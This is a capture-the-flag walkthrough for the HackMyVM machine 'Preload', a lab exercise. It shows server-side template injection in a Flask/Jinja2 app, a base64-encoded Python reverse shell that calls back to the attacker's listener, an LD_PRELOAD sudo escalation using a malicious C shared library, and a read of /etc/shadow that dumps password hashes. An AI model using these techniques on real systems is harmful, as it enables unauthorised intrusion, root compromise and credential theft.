Post

CTF Walkthrough for HackMyVM Machine Preload

CTF Walkthrough for HackMyVM Machine Preload

Introduction

Greetings everyone, in this walkthrough, we will talk about Preload a machine among HackMyVM machines. This walkthrough is not only meant to catch the flag but also to demonstrate how a penetration tester will approach this machine in a real-world assessment. This machine was set up using VirtualBox as recommended by the creator and the Network configuration was changed to ‘Nat Network’.

Machine Description

Name: Preload
Goal: Get two flags
OS: Linux
Download link: Preload

Tools used

1) Nmap
3) ffuf
4) Netcat

Reconnaissance

We can’t attack what we don’t know so, we will start with a host discovering scan using Nmap to discover the IP address of the target.

1
2
3
4
5
6
7
8
9
┌──(pentester㉿kali)-[~/Preload/Scans/Service]
└─$nmap -n -sn 10.0.2.16/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 15:07 BST
<SNIP>
Nmap scan report for 10.0.2.16
Host is up (0.00015s latency).
Nmap scan report for 10.0.2.22
Host is up (0.00077s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.92 seconds

Now that we have the target IP address, we can perform a service enumeration on the target using Nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(pentester㉿kali)-[~/Preload/Scans/Service]
└─$sudo nmap -sV -sC -n 10.0.2.22  -oN serivice-scan.nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-18 15:08 BST
Nmap scan report for 10.0.2.21
Host is up (0.00022s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
|   256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
|_  256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
80/tcp   open  http       nginx 1.18.0
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.18.0
5000/tcp open  landesk-rc LANDesk remote management
<SNIP>
Nmap done: 1 IP address (1 host up) scanned in 33.47 seconds

In the scan’s result above, we can notice that a service runs on port 5000 which is not always common. Let’s connect to this port manually and capture the service’s banner.

1
2
3
4
5
6
7
8
9
10
11
12
┌──(pentester㉿kali)-[~/Preload/Scans/Web]
└─$nc 10.0.2.22 5000 -v
10.0.2.22: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.2.22] 5000 (?) open
 * Serving Flask app 'code' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on all addresses.
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://10.0.2.22:50000/ (Press CTRL+C to quit)

We can see that the port appears to be occupied by a Flask application. The result also shows that the application is running on http://10.0.2.22:50000/. When we visit this link we receive an internal server error message.

1
2
3
4
5
6
┌──(pentester㉿kali)-[~/Preload/Scans/Web]
└─$curl http://10.0.2.22:50000/ 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

If we visit back our Netcat connection we will see a lot of error messages.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(pentester㉿kali)-[~/Preload/Scans/Web]
└─$nc 10.0.2.22 5000 -v
10.0.2.22: inverse host lookup failed: Unknown host
<SNIP>
 * Running on http://10.0.2.22:50000/ (Press CTRL+C to quit)
[2024-09-20 04:45:25,415] ERROR in app: Exception on / [GET]
Traceback (most recent call last):
<SNIP>
  File "/home/paul/code.py", line 10, in _
    result = render_template_string(_get)
  File "/usr/local/lib/python3.9/dist-packages/flask/templating.py", line 165, in render_template_string
    return _render(ctx.app.jinja_env.from_string(source), context, ctx.app)
<SNIP>
  File "/usr/local/lib/python3.9/dist-packages/jinja2/compiler.py", line 112, in generate
    raise TypeError("Can't compile non template nodes")
TypeError: Can't compile non template nodes
10.0.2.16 - - [20/Sep/2024 04:45:25] "GET / HTTP/1.1" 500 -

In the error messages above we can retrieve two important information i.e. the Flask web application accepts a GET parameter and uses the well-known Jinja2 template engine. Since the application uses a template engine we can assume that the value of the GET parameter is processed by the template engine. We can fuzz this parameter using a simple template code e.g. and filter the response by response size.

1
2
3
4
5
6
7
┌──(pentester㉿kali)-[~/Preload/Scans/Web]
└─$ffuf -ic -c -u 'http://10.0.2.22:50000/?FUZZ=' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 290 

<SNIP>

cmd                     [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 160ms]
:: Progress: [6453/6453] :: Job [1/1] :: 199 req/sec :: Duration: [0:00:28] :: Errors: 0 ::

We successfully uncover the name of the GET parameter. We can attempt to visit the web application with this parameter to confirm our results.

1
2
3
┌──(pentester㉿kali)-[~/Preload/Scans/Web]
└─$curl http://10.0.2.22:50000/?cmd='' 
Welcome!!!!!!!!!!!!! 

Exploitation

The web application responds with a text message and not more with an internal server error message. If the web application does not filter the value of this parameter before passing it to the template engine, we will have a server-side template injection vulnerability (SSTI). We can use Jinja2 SSTI cheatsheet to attempt different exploitation of SSTI vulnerability. We can test for this vulnerability by attempting to execute code on the server side.

1
2
3
┌──(pentester㉿kali)-[~/Preload/Scans/Web]
└─$curl -g http://10.0.2.22:50000/?cmd=''  
uid=1000(paul) gid=1000(paul) groups=1000(paul)

Our id command has been executed on the server and the web application appears to be run by the user Paul. Now that we know we have RCE on the server we can attempt to gain a reverse shell.

First, we start a listener on our attack host
1
2
3
┌──(pentester㉿kali)-[~/Preload/]
└─$nc -lvnp 1234
listening on [any] 1234 ...
Secondly we encode our payload to base64 and send it to the target
1
2
3
4
5
6
┌──(pentester㉿kali)-[~/Preload/Scans/Service]
└─$echo "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.2.16',1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('/bin/bash')\"" | base64 -w 0
cHl0aG9uMyAtYyAiaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoJzEwLjAuMi4xNicsMTIzNCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oJy9iaW4vYmFzaCcpIgo=                        

┌──(pentester㉿kali)-[~/Preload/Scans/Service]
└─$curl -g http://10.0.2.22:50000/?cmd=''
Lastly we change the reverse shell received to a tty shell
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(pentester㉿kali)-[~/Preload/]
└─$nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.0.2.16] from (UNKNOWN) [10.0.2.22] 48818
paul@preload:/$ ^Z
zsh: suspended  nc -lvnp 1234

┌──(pentester㉿kali)-[~]
└─$stty raw -echo;fg
[1]  + continued  nc -lvnp 1234
                               export TERM=xterm
paul@preload:/$ 

Now we have a shell on the target as a local user on the system. We can use this access to read the local user flag and enumerate the system further.

1
2
paul@preload:/$ ls /home/paul
code.py  us3r.txt

Post Exploitation

Local users are often given sudo rights on a system to allow them to perform certain actions as the root user without giving them total control of the system. If we check Paul’s sudo rights we will notice that Paul can run some interesting commands as root but the most interesting part is env_keep+=LD_PRELOAD this means that when Paul runs the sudo command it will use Paul’s LD_PRELOAD environment variable and not the default one.

1
2
3
4
5
6
7
8
paul@preload:~$ sudo -l
Matching Defaults entries for paul on preload:
    env_reset, mail_badpass, env_keep+=LD_PRELOAD,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User paul may run the following commands on preload:
    (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail,
        /usr/bin/head, /usr/bin/ss

The LD_PRELOAD environment variable allows the user to load a library before executing a binary. We can abuse this by creating a fake library that spawns a shell and since the binary is executed as root the shell will also spawn as root. We can use this C code snippet to create the fake library.

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void _init(){
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

We can compile the code above using gcc on the target and produce a dynamic library.

1
2
3
4
5
6
7
8
9
10
11
12
paul@preload:/tmp$ cat root.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void _init(){
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
paul@preload:/tmp$ gcc -fPIC -shared -o root.so root.c -nostartfiles

Now that we have our fake dynamic library we can run any of the allowed commands as root using sudo and we will obtain a root shell.

1
2
3
paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/root.so  /usr/bin/cat /tmp/root.c 
root@preload:/tmp# ls /root
20o7.txt

Great, we have obtained root access on the target. We can use this access to read the root flag. In a real-world assessment, we could attempt to crack users’ passwords and if we were successful we could include it in our report. We can obtain these passwords by using our sudo rights to read the /etc/shadow file.

1
2
3
4
5
6
sudo /usr/bin/cat /etc/shadow
root:$y$j9T$m1D134z4UtKiulIBEBA5S1$NjPX1ymOm2EPlJfWdE.u5SUdvfM6/R7r8mHdY4Mbct0:19000:0:99999:7:::
daemon:*:18961:0:99999:7:::
<SNIP>
systemd-coredump:!*:18961::::::
paul:$y$j9T$YDzRSa1.vIn8q85CLan4g.$i.irTciZrOeLcwqQsxdlcxM3/gUSqAUYX8.Otiif34/:19000:0:99999:7:::

Conclusion

Congratulations! In this walkthrough, you have exploited the Jinja2 template engine to obtain a reverse shell on the target. Finally, you exploited the user sudo rights to elevate your privileges as root. This machine was designed to show the importance of sanitising user input before passing it to a template engine. Thank you for following up on this walkthrough.

This post is licensed under CC BY 4.0 by the author.